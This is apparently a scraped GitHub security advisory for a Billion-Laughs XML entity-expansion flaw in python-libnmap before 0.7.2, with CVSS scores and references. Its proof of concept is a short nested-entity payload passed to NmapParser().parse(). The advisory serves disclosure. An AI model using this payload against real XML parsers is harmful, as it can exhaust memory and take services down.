Lucene search

GitHub Advisory DatabaseGHSA-9CCV-P7FG-M73X

HistoryJul 18, 2019 - 3:38 p.m.

XML Injection in python-libnmap

2019-07-1815:38:41

CWE-91

GitHub Advisory Database

github.com

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:N/I:N/A:P

CVSS3

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

EPSS

0.001

Percentile

49.6%

JSON

Description

python-libnmap is affected by a Billion-Laughs -style XML injection vulnerability.

PoC

ty = NmapParser()

payload = """
&lt;!DOCTYPE lolz [
 &lt;!ENTITY lol "lol"&gt;
 &lt;!ELEMENT lolz (#PCDATA)&gt;
 &lt;!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"&gt;
 &lt;!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"&gt;
 &lt;!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"&gt;
]&gt;
&lt;lolz&gt;&lt;hello&gt;&lol3;&lt;/hello&gt;&lt;/lolz&gt;
"""

ty.parse(payload)

Affected configurations

Vulners

Node

python-libnmap_projectpython-libnmapRange<0.7.2python

VendorProductVersionCPE
python-libnmap_projectpython-libnmap*cpe:2.3:a:python-libnmap_project:python-libnmap:*:*:*:*:*:python:*:*

Vendor	Product	Version	CPE
python-libnmap_project	python-libnmap	*	cpe:2.3:a:python-libnmap_project:python-libnmap::::::python::*

References

github.com/advisories/GHSA-9ccv-p7fg-m73x

github.com/savon-noir/python-libnmap/commit/71b707758851e4b622f87d9a73266e06f60aeab4

github.com/savon-noir/python-libnmap/issues/87

nvd.nist.gov/vuln/detail/CVE-2019-1010017

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:N/I:N/A:P

CVSS3

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

EPSS

0.001

Percentile

49.6%

JSON

Related for GHSA-9CCV-P7FG-M73X